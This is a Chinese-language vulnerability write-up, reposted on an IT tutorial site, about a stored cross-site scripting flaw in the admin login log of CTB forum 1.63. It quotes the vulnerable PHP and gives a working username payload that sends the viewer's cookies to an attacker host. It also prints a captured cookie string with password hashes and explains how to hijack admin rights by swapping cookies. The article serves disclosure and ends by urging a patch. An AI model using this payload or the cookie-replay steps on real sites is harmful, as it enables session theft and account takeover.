中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 网络应用 > 网络安全
漂亮但不安全的CTB论坛--CTB论坛再探
作者:佚名 时间:2003-10-17 08:43 出处:互连网 责编:chinaitpower
              摘要:漂亮但不安全的CTB论坛--CTB论坛再探

本文作者:sniper
文章性质:原创
发布日期:2004-04-16
注:本文已在《黑客X档案》发表,转载请保留此信息。
============================================

记得很久前PSKEY写过一篇CTB论坛存在的一个可以直接添加管理员的漏洞,的确CTB论坛的代码可读性非常好,是一个非常的美观的文本论坛。前几天找了套最新的1.63版的论坛代码来看了看,发现了一些不足之处可以让攻击者获得论坛管理权限。

在CTB论坛中对前台和后台登陆的情况都设置了一个日志记录供管理员查看,可以让管理员尽快发现论坛是否被人入侵。但是对于用户递交的数据没有进行任何处理就记录到了日志当中,我们可以通过递交特殊的语句来进行跨站攻击,从而直接得到密码。

我们看看admin目录下的login.php文件的日志处理部分的代码:

代码:
--------------------------------------------------------------------------------

//后台管理员登陆日志
function adminLoginLog($check="ok")
{
  if($this->set[logRecord] == "N"){
    return false;
  }
  $msgArray[phpCode] = $this->code;
  //判断文件大小是否需要清空
  if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";
    $this->null_write("");
  }
  //登陆错误
  //省去部分代码........
  //登陆失败
  else {
    $msgArray[loginMode] = 0;
    $msgArray[loginId] = $this->input['userName'];
    $msgArray[wrongMsg] = $check;
    $msgArray[userIp] = $this->ip;
    $msgArray[loginTime] = time();
    $msgArray[temp1] = ""; //备用
    $msgArray[temp2] = ""; //备用
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php";
    $this->add_line($msgArray);
  }
}

--------------------------------------------------------------------------------

从代码上看我们递交的用户名等信息既不会进行任何过滤也无论正确与否都会被保存到log_adminlogin.php里去,当管理员登陆到后台查看日志的时候就会显示出log_adminlogin.php里面记录的登陆信息,我们也就可以通过这个方法来得到管理员的ID和密码等信息。

我们打开后台登陆页面,在用户名那里输入:

代码:
--------------------------------------------------------------------------------

<img src="javascript:window.open('http://192.168.1.1/cookie.php?'+document.cookie)">

--------------------------------------------------------------------------------

因为无论登陆成功否,程序都会进行记录,所以密码我们可以随便填。其中192.168.1.1为我们放置cookie.php的网址,cookie.php为一个可以获得cookie信息的PHP文件。现在我们要做的就是等了,只要管理员一查看后台登陆日志,我们的PHP程序就会把他的COOKIE截取下来。

让我们看看截取到的文件内容:

引用:
--------------------------------------------------------------------------------

ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503

--------------------------------------------------------------------------------

我们需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三个就可以得到前台管理权限了,有了这些信息,我们要获得前台管理员权限就非常容易,用IECookieView找到我们要编辑的COOKIE,把相应的部分替换掉,保存后再进入该站点你就是前台管理员了。

很简单的我们就得到了论坛的管理权限,如果被人利用,那么相信后果是非常严重的,希望用CTB论坛的朋友关注他们的官方站点的补丁发布情况,尽快修补该漏洞,以免造成不必要的损失。
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有